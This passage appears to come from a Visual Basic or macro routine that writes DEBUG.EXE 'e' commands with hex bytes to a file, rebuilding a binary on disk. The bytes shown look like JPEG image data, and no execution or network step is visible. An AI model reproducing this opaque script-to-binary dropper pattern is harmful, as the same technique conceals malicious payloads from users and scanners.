Print #1, "e 0BB0 E2 F3 AC AC 6B 4D E0 60 1E 53 30 70 95 86 AC DC" Print #1, "e 0BC0 71 38 78 E4 C2 6E 3A C4 6F 8D DA FE 37 50 D9 BD" Print #1, "e 0BD0 56 4A 96 2B D4 44 17 FB A0 D5 67 E6 DB 31 E5 97" Print #1, "e 0BE0 B6 09 82 6E F3 46 79 FB 4C 87 77 49 2D 1A 11 2A" Print #1, "e 0BF0 28 5F 8F F4 AF D9 57 16 55 01 FB 58 64 54 EF D5" Print #1, "e 0C00 41 7D 4A 75 42 C8 18 FC 88 E6 FC 5D EE 0E A9 FE" Print #1, "e 0C10 B3 F8 F5 DF A5 75 DF DB A5 C6 8F 4C 15 85 C5 AE" Print #1, "e 0C20 2B 1A CE 0A 44 25 01 8C 4D 17 0D A6 E3 2E AB 7B" Print #1, "e 0C30 BA 29 A8 E1 72 66 4A ED 6C 89 FE C7 DE CA B9 BC" Print #1, "e 0C40 D0 B6 36 B3 47 FF 00 A7 15 03 8C 7B CD A6 66 27" Print #1, "e 0C50 7E B2 74 DC 81 BA D2 F2 4A 0E 8B 97 17 A3 97 0C" Print #1, "e 0C60 F4 B7 11 94 44 56 24 33 96 C5 97 7F 29 43 71 78" Print #1, "e 0C70 59 4C A2 D3 F2 C6 18 10 5C E5 B4 5E 47 09 79 77" Print #1, "e 0C80 11 66 F6 95 DC 0F 8C 13 95 7B C1 DE AF 9D 8C 03" Print #1, "e 0C90 28 4C 29 F5 2E EE F6 84 D9 DC F6 61 7B 7F AC FC" Print #1, "e 0CA0 7A 47 D7 7F 8B 98 3B 0A FC 95 8D 06 78 EE 3A B2" Print #1, "e 0CB0 86 BF 71 BB 23 D5 0E 8B F7 BE 32 F5 C5 41 D7 86" Print #1, "e 0CC0 AE B5 BA 28 BD 58 0E 6B C8 03 5C C2 C7 E4 CC E5" Print #1, "e 0CD0 F6 EA E2 90 C6 CE 79 38 59 1E 43 8B 1A 9B EF 4E" Print #1, "e 0CE0 AE 2D CF A0 85 AA D5 4F DD D8 CB 59 3D 64 AD 57" Print #1, "e 0CF0 12 E7 9A 8B 99 AE 13 01 C1 4B C4 B4 A2 8C C7 05" Print #1, "e 0D00 D2 34 B7 E6 B3 0B 46 C6 A8 49 00 1A D4 31 86 DB" Print #1, "e 0D10 90 67 19 AA E3 B7 1F F6 FC 4C F5 B7 F4 FD DC C9" Print #1, "e 0D20 C1 C8 C6 E8 17 74 7D C2 69 39 9D BB AC CB A9 E7" Print #1, "e 0D30 DC AC EA DB CC E5 5E 55 D5 56 A5 5B 0E AA B1 8C" Print #1, "e 0D40 D5 2D 93 CA A2 9C A8 A1 FC 8B 8E 2A 69 B7 EA 1F" Print #1, "e 0D50 4E F3 79 77 32 14 BA 52 91 BA 0D 0C 9D 8B 94 17" Print #1, "e 0D60 55 A6 62 13 D8 7A 4A 49 79 FA 73 71 8C 44 AA E9" Print #1, "e 0D70 04 DB C6 D1 1A CA C7 D1 90 A9 AB 28 16 B3 55 77" Print #1, "e 0D80 30 00 32 1F 9D 8C 58 D8 17 14 02 B0 D4 30 C7 29" Print #1, "e 0D90 26 A1 25 32 B8 11 B7 68 F6 7B 99 D6 FA 73 C9 20" Print #1, "e 0DA0 EC FB 31 BD A1 15 ED 43 C7 1B 19 F6 33 CE 96 45" Print #1, "e 0DB0 96 EA 01 ED 2F 1C 13 65 76 40 C6 DA CC 88 95 33" Print #1, "e 0DC0 FB 6D D3 74 66 BD CC 1C 90 A5 61 E5 DB B1 F5 1D" Print #1, "e 0DD0 39 0C 7B 10 C4 5F D3 DC 95 47 28 54 BA D9 71 9D" Print #1, "e 0DE0 B9 8B 85 90 E9 90 A6 26 E7 1A E2 0B AB 82 05 76" Print #1, "e 0DF0 95 18 DE 40 6F 4C C7 B5 05 FD 9B F4 32 F7 9A 71" Print #1, "e 0E00 77 C1 57 C2 7C 4A 5A F7 84 B0 A9 87 C1 44 39 09" Print #1, "e 0E10 8C EC 3E 8F 08 71 DA 86 E3 D5 77 42 3B 33 84 CF" Print #1, "e 0E20 CA B7 5F 3F 96 93 93 43 7F A8 5F 57 57 37 99 17" Print #1, "e 0E30 42 9C 67 F7 70 DC 42 44 DA DD AC 51 9B 2F 4E 6B" Print #1, "e 0E40 04 11 95 8F 07 25 E1 7E 5D EC 59 21 74 BE 50 7D" Print #1, "e 0E50 AD 8D AA 98 B9 7C 54 9C 9C 1E 56 CC AB 5A 19 91" Print #1, "e 0E60 6F CC E4 53 27 32 94 FD 53 20 F9 89 37 0B 23 93" Print #1, "e 0E70 32 8B 10 B2 92 E3 CE 00 C3 20 C9 15 35 38 AE 5D" Print #1, "e 0E80 32 E5 7C A1 2C 26 36 01 6D 81 40 B4 6A 4B 5E 45" Print #1, "e 0E90 E6 61 12 0F B5 70 55 50 5C 0B AE EF 2B C0 B9 A9" Print #1, "e 0EA0 60 E5 BD 99 18 8E 44 DB D7 52 FA 97 B5 4C 17 76" Print #1, "e 0EB0 1E EC 85 B2 C4 F6 82 D9 55 57 32 DB B3 07 28 A0" Print #1, "e 0EC0 DB 48 F4 BC 94 21 37 58 AF B6 2C EA 64 91 54 BF" Print #1, "e 0ED0 79 B7 C7 15 E4 45 93 7B DD C5 64 24 98 D6 6C 9C" Print #1, "e 0EE0 07 96 2B F2 0B 62 F2 26 23 C7 7B 21 31 CB 49 C3" Print #1, "e 0EF0 1B DF C5 B8 58 96 2A E5 43 57 91 F2 3B 51 0E 12" Print #1, "e 0F00 73 91 4F CB A1 0C 1D 95 0F 28 95 9F FB 82 9A 2D" Print #1, "e 0F10 6A F2 33 BC 6C A6 8B 30 0D C0 38 2A 9C 31 16 2D" Print #1, "e 0F20 1C 2D CB 27 91 93 45 61 7E C6 B8 95 AE EB 21 AE" Print #1, "e 0F30 51 AF 35 B5 3F 71 76 F8 ED 7E 60 34 38 C6 1D D4" Print #1, "e 0F40 E5 77 34 AA ED C1 60 01 DE 55 DD F9 57 C1 8C 06" Print #1, "e 0F50 05 62 61 6D 7A 76 1B 21 E8 E8 D9 9A 33 36 7A 19" Print #1, "e 0F60 8E 5B CE 55 2C 86 6F 53 90 C2 BD E6 DD 06 F8 DA" Print #1, "e 0F70 9A 2C 10 B9 96 D3 DC 17 7C 68 1A 32 95 92 C9 D8" Print #1, "e 0F80 7C ED B3 1C D7 94 16 19 8C A2 67 28 C9 8D 74 04" Print #1, "e 0F90 EB DE EE 65 12 71 8B 1D 97 92 BC 9D 24 2C BB A2" Print #1, "e 0FA0 15 77 BC AB DA 06 49 8D 16 49 94 16 ED 7F B8 F1" Print #1, "e 0FB0 99 39 ED 6C FA 76 18 F8 DE 4B B1 B4 BA 95 89 92" Print #1, "e 0FC0 03 8C A7 F2 CA 75 96 4A C4 39 EF D9 3E 56 50 B2" Print #1, "e 0FD0 8D 65 9D 96 05 3B 85 C8 5E 5B F7 B7 1A 6C 36 7C" Print #1, "e 0FE0 72 3F 3C A0 B2 EA 77 2A 5D 85 CF A5 3C 9E 23 79" Print #1, "e 0FF0 25 71 85 BD A1 7D D3 DE 85 64 7B C4 D7 22 BA F6" Print #1, "e 1000 36 6D 3F FA 72 DA 94 5B 97 3B DD 80 0D 56 A5 89" Print #1, "e 1010 E2 BB EC 0D DD 5A 1D 65 0E B9 52 59 DC 8C C5 2B" Print #1, "e 1020 89 D3 B2 59 69 D1 78 8E 7E 21 25 D9 3C 56 16 5B" Print #1, "e 1030 D8 56 D3 24 08 2E AE 72 95 C6 E6 6E 37 66 B1 75" Print #1, "e 1040 16 8D 92 32 5A CD 4F 19 6D 59 7D 33 E5 39 4E 70" Print #1, "e 1050 8E 15 D9 5E DE FC 6F 6C 12 C4 4C 6E 60 50 BF 37" Print #1, "e 1060 8E 49 36 D9 32 07 9A B1 32 B8 CB AE 54 1B 8D EA" Print #1, "e 1070 2F D9 72 AA CA 0A D6 35 CF 18 65 5F 32 E5 1B F9" Print #1, "e 1080 9B CA 79 F0 DE A7 21 AA DF AE 11 71 94 B5 92 D8" Print #1, "e 1090 4C C5 0C 4D 41 ED 35 B5 4F 3A 13 51 41 F7 BE 7B" Print #1, "e 10A0 45 BF 7A 1F 94 CF 01 C9 C4 BF 6F B3 88 5B 34 86" Print #1, "e 10B0 A0 D9 28 EB 2E 79 A7 3F 70 6C 66 43 DB 7F 22 BA" Print #1, "e 10C0 AD A0 57 22 CD 58 B3 4D AB EB 93 9F 8E F4 B1 60" Print #1, "e 10D0 23 83 AB 64 AE AF 5D 78 5B 73 01 8D E5 C6 AC C6" Print #1, "e 10E0 72 95 02 FD B1 71 43 8D 76 DB 8A 2A 33 85 8B CF" Print #1, "e 10F0 1B E3 50 3D E6 F3 21 5C C7 03 27 DB 61 2A CC 47" Print #1, "e 1100 16 73 54 37 95 8D F5 DE 6F E8 DF D3 8D 5B 9D DD" Print #1, "e 1110 CC B6 F2 98 1F D9 94 DE 39 75 AB 2D CD CC FA 46" Print #1, "e 1120 2C DE 0D EF 77 91 40 4E CB 33 26 64 B2 EB D6 5B" Print #1, "e 1130 74 AB DA E9 95 75 77 2E 55 CE 55 2C AA 59 4D E0" Print #1, "e 1140 B3 8C 3C AB EC 75 EC 55 33 C3 B6 61 DE 86 DE C3" Print #1, "e 1150 00 96 77 5B 57 B6 DB 54 D8 2A 5D D4 C7 55 31 97" Print #1, "e 1160 C1 2E 17 A4 66 A4 D0 74 B7 F1 42 8A A7 8E 25 3E" Print #1, "e 1170 AA E2 CE 8E 36 B8 B8 B3 3C 2C 43 3B 61 4D FD 35" Print #1, "e 1180 B1 C3 5D 8F AF 17 16 88 6D 9B C7 33 88 95 EF 7A" Print #1, "e 1190 67 F7 E4 7F 7A BF 9D DD 77 EC FB B2 99 76 2E 6D" Print #1, "e 11A0 9C AD CA BD 74 CE 45 9B A9 37 25 7D 2A 72 9B CD" Print #1, "e 11B0 E5 14 E5 2E E7 2D A7 28 57 BF A2 EB 81 2C C4 26" Print #1, "e 11C0 99 A8 B4 13 A8 A3 BC 24 65 C6 F7 AA B9 41 52 8A" Print #1, "e 11D0 F7 D2 D3 62 5A AE 39 84 D2 5B F2 D5 B1 EF B3 57" Print #1, "e 11E0 B4 5F 65 D0 94 C5 15 3C A1 BA A1 7C C7 95 ED F6" Print #1, "e 11F0 01 B7 53 B6 B6 46 2C 83 D1 8F 5F 3E D8 F6 CC BD" Print #1, "e 1200 DC 7C BA 09 58 CB F7 81 7B 17 F2 25 15 47 38 CF" Print #1, "e 1210 A5 6F C7 EE 6D E8 1A B2 BF F6 61 24 0A 17 E6 7F" Print #1, "e 1220 95 53 55 62 9E 51 2C 35 12 09 BC 5D 91 4D 56 4A" Print #1, "e 1230 C4 83 1E 80 A1 2E C6 62 F7 49 89 53 E8 D5 82 60" Print #1, "e 1240 19 9A 58 2E CD 8E CE 82 B2 E7 DA DA 05 D6 DE 28" Print #1, "e 1250 32 BB 19 0B 8E 56 DE 81 85 5D 6E 5E DD 2A F6 80" Print #1, "e 1260 DF 62 01 29 75 B5 E3 E3 13 27 0A 12 3C FB 15 91" Print #1, "e 1270 D9 DD FA 2A 07 6C 05 AF 61 CD BA 7B ED F7 06 E5" Print #1, "e 1280 D7 51 F8 D7 4E 57 B7 4D FE 33 38 58 B0 A8 91 26" Print #1, "e 1290 5F 8E F0 6B F1 D2 CA D3 F3 F1 C7 4F 03 E2 FC AC" Print #1, "e 12A0 B5 3D 78 0E 4E 34 5B 81 EB D4 75 10 C4 4E 66 A3" Print #1, "e 12B0 91 93 78 8F ED 5B 15 BC 12 DA 5D 63 1D F8 CB 82" Print #1, "e 12C0 43 53 30 7E 97 A0 6E 10 7B 74 01 E5 E8 12 DA D4" Print #1, "e 12D0 EC 3B 17 66 A7 83 1C 47 06 B7 9D BB E3 E8 57 F6" Print #1, "e 12E0 78 F4 51 B5 43 2E 00 59 93 AA 96 BF BB 57 3D 8A" Print #1, "e 12F0 10 D8 CF CC DA 50 59 5D D6 DE 97 B0 CC F1 B0 9F" Print #1, "e 1300 92 21 87 92 B2 7A B3 29 39 39 79 8C 0D 3F 08 90" Print #1, "e 1310 14 DA E5 6E 12 2A C9 10 24 E4 E4 58 21 3E FE 0E" Print #1, "e 1320 42 2D 58 88 60 0A 8D 56 05 45 09 22 53 B3 61 7B" Print #1, "e 1330 0D CD 42 F6 4F 54 28 DE C6 E9 99 2A 00 38 CF 45" Print #1, "e 1340 DD 97 A5 61 67 60 BA 1A 0D A6 4A A9 4C F4 29 3C" Print #1, "e 1350 87 E4 54 38 D7 36 15 0B AF 72 BF 6E 95 28 6A 76" Print #1, "e 1360 8A 5D 6D F6 84 F6 98 61 84 D9 8F 87 A4 54 69 69" Print #1, "e 1370 6A 56 65 AA DD E8 BA A9 FA 7B FF 00 1B B2 C1 06" Print #1, "e 1380 9C C5 BC B5 15 55 4C C2 67 64 31 B2 1A 25 8E C1" Print #1, "e 1390 98 58 F6 EC A7 29 69 C2 C3 5D FE E1 A9 D7 D1 48" Print #1, "e 13A0 B9 74 2E 5B 2C 86 5F 21 1E F0 DD D0 59 4C CC 52" Print #1, "e 13B0 34 B3 19 C1 2E A2 90 C7 5E 9C 86 2B 50 D4 FF 00" Print #1, "e 13C0 A7 FD DF A3 5E C6 87 4B AD BA E3 E3 1B A0 24 54" Print #1, "e 13D0 2C D8 6C DB B4 2B DF D2 AC 76 14 48 8D 8B AA 86" Print #1, "e 13E0 30 6F 7B 1F 93 7F 32 86 55 4A DE 16 FF 00 73 79" Print #1, "e 13F0 BF AF F4 FD 7F C7 99 8C C7 B7 07 4F EC 37 54 65" Print #1, "e 1400 52 74 EC 50 A5 E4 6A 0B 59 98 2F 29 58 27 E3 9B" Print #1, "e 1410 19 4B 00 6F 7B 50 CA AA E0 8C BF 22 6A 2B A1 2C" Print #1, "e 1420 5F 6C 72 CF 12 6E 6A 44 C3 01 A1 DA CA D4 81 47" Print #1, "e 1430 F1 C9 40 E1 D6 56 73 1A BC 44 23 29 19 87 A9 FF" Print #1, "e 1440 00 47 AB BD 76 38 E4 8D F9 60 04 6E 75 42 C9 3B" Print #1, "e 1450 84 76 5E BC 20 E4 35 4B 09 C9 65 19 45 75 91 56" Print #1, "e 1460 30 EF 79 B4 A8 24 35 74 D0 86 43 72 A9 73 8A EE" Print #1, "e 1470 F8 04 20 1D BD 23 8A F2 AB C6 75 4B 1B A9 7B 7A" Print #1, "e 1480 FF 00 4F 7F E2 C9 CC B4 B0 F5 3B DB 2F 20 8C 94" Print #1, "e 1490 5F F2 A9 6B 66 5A 69 22 2F BD B5 0C DF 7C 7C 0A" Print #1, "e 14A0 BA CF D5 3F F3 E9 A2 3D AD 50 7E 9D 7F 4F 3C 19" Print #1, "e 14B0 79 18 F6 BC 1C 51 74 61 E1 E3 DE 39 D3 87 03 61" Print #1, "e 14C0 CB D6 2A EC 74 21 BB D4 35 3A D9 17 F9 EB 5F 9F" Print #1, "e 14D0 05 4D 17 25 89 2F B6 86 14 C7 A0 06 53 2A 51 54" Print #1, "e 14E0 CF 52 F8 1D FB ED 7C 7A 0D 55 C0 45 9C C7 D3 9A" Print #1, "e 14F0 C3 3D 18 86 0E 95 BC 3D 21 B5 46 87 28 D7 80 F3" Print #1, "e 1500 8B D2 4A E2 F4 C4 0C 4A 12 BA AD A1 7B C3 AD E1" Print #1, "e 1510 63 AC E7 84 AB 85 A7 AA 7E DC 10 B0 65 E1 1C 0D" Print #1, "e 1520 11 3B 27 18 31 43 52 1F AF 87 A6 63 B5 1F B5 E1" Print #1, "e 1530 C2 58 E3 91 61 24 ED ED 5E 3A 8D C4 39 C4 02 E5" Print #1, "e 1540 52 81 59 FA 9D 6E 9D 2E 6A BF D7 88 CF A5 5A 7A" Print #1, "e 1550 AD 9A 93 D2 A5 E9 59 14 4B 66 9E B7 31 44 BB 16" Print #1, "e 1560 32 F1 B2 48 17 96 B4 A7 1F 0A 6A 7F D3 E8 BA DA" Print #1, "e 1570 03 08 22 F3 FE 24 9C 67 46 E1 38 3E D6 32 58 C3" Print #1, "e 1580 0C 7B 8B 0D A1 7B 4D 61 A5 67 71 5C B9 2F 4D EE" Print #1, "e 1590 05 69 89 0B C5 56 9E 92 1C 84 DD 5B 2A A7 F3 A1" Print #1, "e 15A0 B0 18 E6 50 55 BC 5B 77 47 72 88 D7 29 BC AF C9" Print #1, "e 15B0 00 97 A8 2B 6B CD 02 BB CC AD 94 CA 3B EF 71 BA" Print #1, "e 15C0 6C EE 4A 3A 96 71 6C BE D3 F8 B0 86 96 25 DE 29" Print #1, "e 15D0 DE 29 6E BE 34 00 50 40 17 35 55 8B 96 1C D5 06" Print #1, "e 15E0 CE D8 0B DE 00 57 1A 50 4B 1A DB B7 51 A9 02 AA" Print #1, "e 15F0 40 8D B4 99 03 90 D3 2A CA 29 86 A8 4C 32 36 31" Print #1, "e 1600 97 5C 65 D7 4D A2 68 39 ED D3 78 B7 18 4F 27 BB" Print #1, "e 1610 32 44 6A FD 2B 1E 66 8C 05 04 0D AA 87 DF A1 5E" Print #1, "e 1620 F3 51 1E 4A A1 DE 5D EF 28 AE A5 99 5C 58 F2 2A" Print #1, "e 1630 FA 73 19 B7 71 CC B0 06 E6 30 66 02 8B 51 C8 C5" Print #1, "e 1640 C1 42 04 B7 8D 18 CA 8C AA 84 A0 B8 78 4A BA 6E" Print #1, "e 1650 27 19 6A 10 0C 61 5D D3 AE B7 22 95 77 BF 2B 9F" Print #1, "e 1660 FF C4 00 25 11 00 02 02 01 04 02 02 03 01 01 00" Print #1, "e 1670 00 00 00 00 00 00 01 02 11 12 03 10 21 31 13 20" Print #1, "e 1680 41 51 22 30 61 32 04 FF DA 00 08 01 03 01 01 3F" Print #1, "e 1690 01 16 D4 8E CC 4B 92 2E 4C FC 8F C8 D3 76 C9 35" Print #1, "e 16A0 65 A2 D1 68 C9 16 64 64 64 64 64 64 5A 2D 16 59" Print #1, "e 16B0 7B 59 65 97 E8 95 97 F5 BD 14 CC 07 1C 47 24 28" Print #1, "e 16C0 59 05 52 25 DE EA 0D 9E 33 C6 8F 1F D1 83 29 8D" Print #1, "e 16D0 14 62 CA 65 15 E9 89 8B 31 DD 6D 0D 36 F8 43 D3" Print #1, "e 16E0 69 91 4B A1 E9 89 14 48 75 5B 24 C8 DD DB 1F 7B" Print #1, "e 16F0 23 A1 B6 36 C8 59 5C 12 F7 92 21 1C 98 B4 E2 8E" Print #1, "e 1700 06 C4 CC 54 89 2A 23 B2 FE 0D B9 76 60 DF 42 52" Print #1, "e 1710 5C 12 BF 82 39 BE CA A3 57 EB 6C B6 B6 29 72 74" Print #1, "e 1720 66 84 D3 1D 16 8B 1A B1 FB C6 0E 12 1C A5 F0 2F" Print #1, "e 1730 E9 6A 5F E4 A6 5C 57 64 A1 97 23 D3 82 8F F7 68" Print #1, "e 1740 C8 86 D5 2F A3 2A F8 14 C7 3A 5C 9A 93 CB D3 1D" Print #1, "e 1750 A3 25 21 E9 A6 3D 3C 55 8E 0D AB 3C 46 0A 24 9C" Print #1, "e 1760 56 F7 E9 26 43 53 28 F2 26 98 E9 22 A3 DA 1B 4F" Print #1, "e 1770 86 62 91 64 E4 9F 5B 78 A3 DA E8 D2 9D 7E 2C 64" Print #1, "e 1780 5D 19 13 D5 1C EF 69 3A 32 A3 29 33 F2 39 34 BF" Print #1, "e 1790 C8 B5 0C DF D9 1D 47 F2 C9 6A 2F 83 56 77 C1 5B" Print #1, "e 17A0 65 2F B3 CB 24 43 57 23 23 21 ED 09 8A AC 73 A1" Print #1, "e 17B0 BB DA 6B 82 CB 14 D9 CF 64 75 7E CF 31 2D 4B 2E" Print #1, "e 17C0 B9 30 57 63 3F 8C 6A B8 22 A9 6E B8 2C CC 72 BD" Print #1, "e 17D0 A5 D9 F0 38 D8 D1 44 74 DF AA 74 C7 4C A3 1F 65" Print #1, "e 17E0 B7 03 6A 29 9A B2 7A 9C B1 6D 42 FD 12 62 43 D9" Print #1, "e 17F0 A1 2F 78 B6 64 66 CC 89 5D 6D 45 56 D6 5E DD 8D" Print #1, "e 1800 D1 65 91 77 EF 6C AF BF 45 B2 F6 4E 8E C5 C1 43" Print #1, "e 1810 DE 69 C4 C9 89 DE F6 3B 5B C3 AD AC BF 5B B1 6F" Print #1, "e 1820 27 45 D8 BF 46 46 43 77 BE A3 B4 43 27 D0 D3 86" Print #1, "e 1830 ED 0D 56 D5 B7 F0 AD DB AD B1 F5 5A 0E 7C D8 BF" Print #1, "e 1840 E5 89 2D 38 C7 AF 4B 3B 30 67 8C F1 A3 C4 78 59" Print #1, "e 1850 E2 91 E3 97 D1 28 E4 A9 10 83 89 28 64 78 99 2D" Print #1, "e 1860 3F A3 C4 C7 A5 63 D1 FA 3C 26 0C C4 C5 FA 51 CF" Print #1, "e 1870 A4 74 DC 88 C3 1D B5 51 45 18 98 98 51 06 52 1A" Print #1, "e 1880 FA 2D A3 33 22 CF FF C4 00 26 11 00 02 02 01 04" Print #1, "e 1890 02 02 02 03 01 00 00 00 00 00 00 00 01 02 11 12" Print #1, "e 18A0 03 10 21 31 13 20 41 51 04 14 22 30 32 61 FF DA" Print #1, "e 18B0 00 08 01 02 01 01 3F 01 C5 94 51 C9 D1 91 49 95" Print #1, "e 18C0 5E 98 B3 06 60 CC 19 83 31 66 26 26 06 06 26 26" Print #1, "e 18D0 2C C5 98 B3 16 62 CC 59 81 81 80 E3 B7 C6 CD FB" Print #1, "e 18E0 59 17 65 0F 65 BB 92 46 66 66 65 AD AF 6B 2C BF" Print #1, "e 18F0 5B 32 2F 66 86 AB 69 4D 19 21 CF 93 31 8C E6 88" Print #1, "e 1900 A6 9E CF D5 F2 21 51 21 31 0B DA 2C 93 A1 EA 32" Print #1, "e 1910 D8 AF 68 EA 57 62 76 4B 6A B1 89 EC 9F D8 E9 74" Print #1, "e 1920 64 8D 3E 59 46 25 14 63 B6 2C A6 2B 29 94 27 42" Print #1, "e 1930 F7 94 93 42 8C 47 14 85 1F B2 A2 38 DF 44 25 5C" Print #1, "e 1940 19 3C B6 68 6A 9D 08 E0 A3 13 1B 21 1C 4A F4 A1" Print #1, "e 1950 C5 A1 4C F2 5B A2 3A 8A E8 CC C9 B1 5F BA 25 1E" Print #1, "e 1960 46 A8 4A CE 7A 65 34 2E 44 84 B6 EC D4 8F C9 46" Print #1, "e 1970 27 24 60 D8 A3 5B 2D EF 69 76 38 18 AF A1 C1 7C" Print #1, "e 1980 22 30 FB 23 1D E8 C5 0E 25 15 BC A2 7C 14 2E C4" Print #1, "e 1990 88 F6 62 8C 76 BE 28 94 17 C1 80 A2 28 FD 19 36" Print #1, "e 19A0 BD 3B 2B 67 B5 15 B4 21 68 A4 E7 43 55 BB F5 6A" Print #1, "e 19B0 C5 C7 A5 3F 47 BC 55 B3 4A 5C 52 1F BA 66 17 FE" Print #1, "e 19C0 46 AB 6D 3D 3B E5 92 74 88 4A 9D 89 F2 58 DF AD" Print #1, "e 19D0 6C CA 28 A1 6E F7 AE 47 DD 94 97 27 7B BF 54 CC" Print #1, "e 19E0 EF 86 28 45 72 D9 E4 F8 89 3B F9 DD FF 00 4F 5B" Print #1, "e 19F0 5F A6 A4 F1 8D A3 F6 75 3E 8D 2D 7C CC 91 AB AE" Print #1, "e 1A00 A0 4B F2 25 68 8C D3 43 69 76 27 63 9C 6F B2 CD" Print #1, "e 1A10 5D 77 19 54 7D 52 6F A2 30 C4 D4 6A BF B5 C6 CF" Print #1, "e 1A20 15 FC 8B 8D FF 00 23 FC 11 CA A9 12 8B D3 88 E0" Print #1, "e 1A30 94 72 1F 3C 92 54 D5 0D 63 2E 07 2C DF F2 34 DB" Print #1, "e 1A40 5C 5D 0D 2A B4 4A 4E 55 13 52 0A 13 A5 BA 83 97" Print #1, "e 1A50 46 4D 1E 57 F0 39 B7 E9 2D 4A 1E BB 21 37 2D AF" Print #1, "e 1A60 76 64 8F 21 E4 67 90 F2 23 34 66 89 DC 95 10 4D" Print #1, "e 1A70 12 59 23 C4 FA 6C 96 8E 4B 83 C1 2E C9 69 B6 EC" Print #1, "e 1A80 F1 BE E2 47 41 63 4F B3 F5 A6 D5 58 FF 00 19 D7" Print #1, "e 1A90 FD 3F 5A 57 6D EF D7 28 CE FF 00 D1 8C 5F 43 55" Print #1, "e 1AA0 C6 EE 54 4A 57 B6 99 65 EF 99 26 58 A8 4A CC 0C" Print #1, "e 1AB0 4C 4F FF C4 00 3D 10 00 01 03 02 03 05 04 08 04" Print #1, "e 1AC0 05 04 03 00 00 00 00 01 00 02 11 03 21 12 22 31" Print #1, "e 1AD0 10 32 41 51 61 13 20 71 81 04 23 30 33 42 52 72" Print #1, "e 1AE0 91 14 40 62 A1 82 B1 C1 D1 E1 05 24 92 A2 50 73" Print #1, "e 1AF0 F0 FF DA 00 08 01 01 00 06 3F 02 DB 80 EC C2 C3" Print #1, "e 1B00 6E 2E 45 B3 65 2F 74 AD EF 2D 93 2B 8A DE 2B 05" Print #1, "e 1B10 57 19 2B 7C AD F5 38 8A DE 2B 78 AD E2 B7 90 FF" Print #1, "e 1B20 00 C3 D9 C1 6A B5 59 4F 74 A3 B3 7C 2D E0 B7 93" Print #1, "e 1B30 7B 21 BB C5 67 A9 1D 02 8B 9F 35 7F D9 70 0E FB" Print #1, "e 1B40 94 5D 9B 0A C6 F2 ED 62 79 FF 00 95 95 87 A2 31" Print #1, "e 1B50 98 E8 86 43 27 40 AF 64 01 3F 75 A2 D0 4A 9C 2B" Print #1, "e 1B60 71 5D 9B 02 85 A2 D1 6E AD 16 8B 45 A7 7F 55 AF" Print #1, "e 1B70 73 5E EE 8B 45 A2 DD 5A 2D 16 8B 4D 93 78 40 45" Print #1, "e 1B80 CA 89 90 B5 28 E6 24 72 2B 0B 4A DF 9F 25 18 DA" Print #1, "e 1B90 7C 94 4A F5 80 8B 69 CD 6B 1E 2B 79 B7 EB DF 96" Print #1, "e 1BA0 A8 C5 3B 75 80 B0 B7 D6 3B 89 E0 14 D4 AB 11 C9" Print #1, "e 1BB0 61 A4 D2 E6 9D 42 32 EC ED E0 16 31 0E 70 E6 B1" Print #1, "e 1BC0 3F 33 CF D8 2F 5A CC 4E 07 2B 41 86 B4 23 55 B0" Print #1, "e 1BD0 1A 2D 27 8F 80 57 C5 87 A8 44 36 4F 92 89 70 E8" Print #1, "e 1BE0 A1 D6 78 DA 3D 9E E9 5B A7 F2 B2 C6 E1 F3 5C 55" Print #1, "e 1BF0 9B 0E FD B6 1B 4C 2D 60 75 58 42 BE BA 5D 13 18" Print #1, "e 1C00 58 2F 88 AB 2D E3 28 10 21 C2 E1 62 AA F3 8F 9E" Print #1, "e 1C10 AA 26 59 CD 65 33 DC 92 AE 55 B6 44 66 D9 CD 05" Print #1, "e 1C20 0D 37 56 99 54 D8 37 9C 56 1A D7 08 8A 4C 5A B8" Print #1, "e 1C30 06 F2 10 8C CC ED 0E 6E BB 33 21 DE D1 68 B9 95" Print #1, "e 1C40 BB B3 8A E3 B3 75 59 5F DA 68 B4 DA 2F 2A C3 6D" Print #1, "e 1C50 C4 94 70 B0 0E 81 07 E9 3A 4A C4 5A 55 81 2B 13" Print #1, "e 1C60 58 63 44 1B 55 A7 2F 04 62 2F D3 64 8E 3C D5 94" Print #1, "e 1C70 0E E4 34 47 5D B8 58 D9 28 E2 11 C2 39 AD 36 66" Print #1, "e 1C80 72 C9 0A 11 79 02 61 63 2B F1 0F 13 25 16 D3 DE" Print #1, "e 1C90 46 A0 D4 6C 90 32 FC DC 10 68 5A AD 50 52 56 8B" Print #1, "e 1CA0 4E E5 F4 43 6D B6 DC 29 01 5C 29 6F E4 6D B2 F2" Print #1, "e 1CB0 B1 3F 5E 41 3B 18 C4 38 4F 05 18 02 07 08 B7 25" Print #1, "e 1CC0 66 F5 4D 2E 19 96 2A 22 7A 2D 36 B4 AB EC D0 22" Print #1, "e 1CD0 59 73 8F 0C 28 90 50 02 C1 61 A6 2F C4 A2 F1 48" Print #1, "e 1CE0 3A A2 CE 69 D2 F1 59 3D 26 8B CF 25 A2 CA ED 81" Print #1, "e 1CF0 B3 65 71 2B 00 9C 3C 95 82 22 35 D9 FD 11 7B A7" Print #1, "e 1D00 12 F8 95 9A 54 E9 B2 DE D2 CB 5F C8 C8 D9 31 27" Print #1, "e 1D10 64 93 01 1B CA B0 28 62 DB 88 09 56 BF 44 5F 4D" Print #1, "e 1D20 BA EA 88 22 36 05 1B 7D 25 8E D7 50 81 35 26 89" Print #1, "e 1D30 D7 9A 2D A7 B7 2B F0 9E 70 AC 3B 50 AD 48 84 24" Print #1, "e 1D40 34 79 AC D5 6F E0 A1 C2 5B CC 2B 35 66 7E 13 D5" Print #1, "e 1D50 AA 2C 56 1F 3D B2 CA 35 08 E7 85 5E 85 5F F8 A8" Print #1, "e 1D60 78 20 F5 DB BA B7 56 16 61 07 AA 83 AF 73 55 72" Print #1, "e 1D70 B2 DF 6E BB 4F E4 64 98 56 78 5E F2 16 B8 93 48" Print #1, "e 1D80 42 05 96 6A 52 3E A5 EE 1F FF 00 25 EE 7F EC BD" Print #1, "e 1D90 D3 3F E4 A1 EC 8F 02 9B 56 98 BE C6 E3 7E 00 85" Print #1, "e 1DA0 C3 9A 74 23 61 EC DB 30 BB 5D 0F F3 54 AA 3C 31" Print #1, "e 1DB0 B8 B5 11 74 5D CF 6D D6 1A 14 EE BB 6F 4D C6 EA" Print #1, "e 1DC0 60 6E B7 82 89 2D F2 56 A8 13 B0 E1 F3 E2 83 A9" Print #1, "e 1DD0 38 B0 AF 79 3E 4B 74 59 1A BB 94 C9 D4 F1 58 9E" Print #1, "e 1DE0 DA 8E FA EC A2 95 18 FA 61 AB 07 AD 91 AE 57 59" Print #1, "e 1DF0 07 7A 28 2E 23 86 21 98 2C 75 E9 7C 58 70 15 8E" Print #1, "e 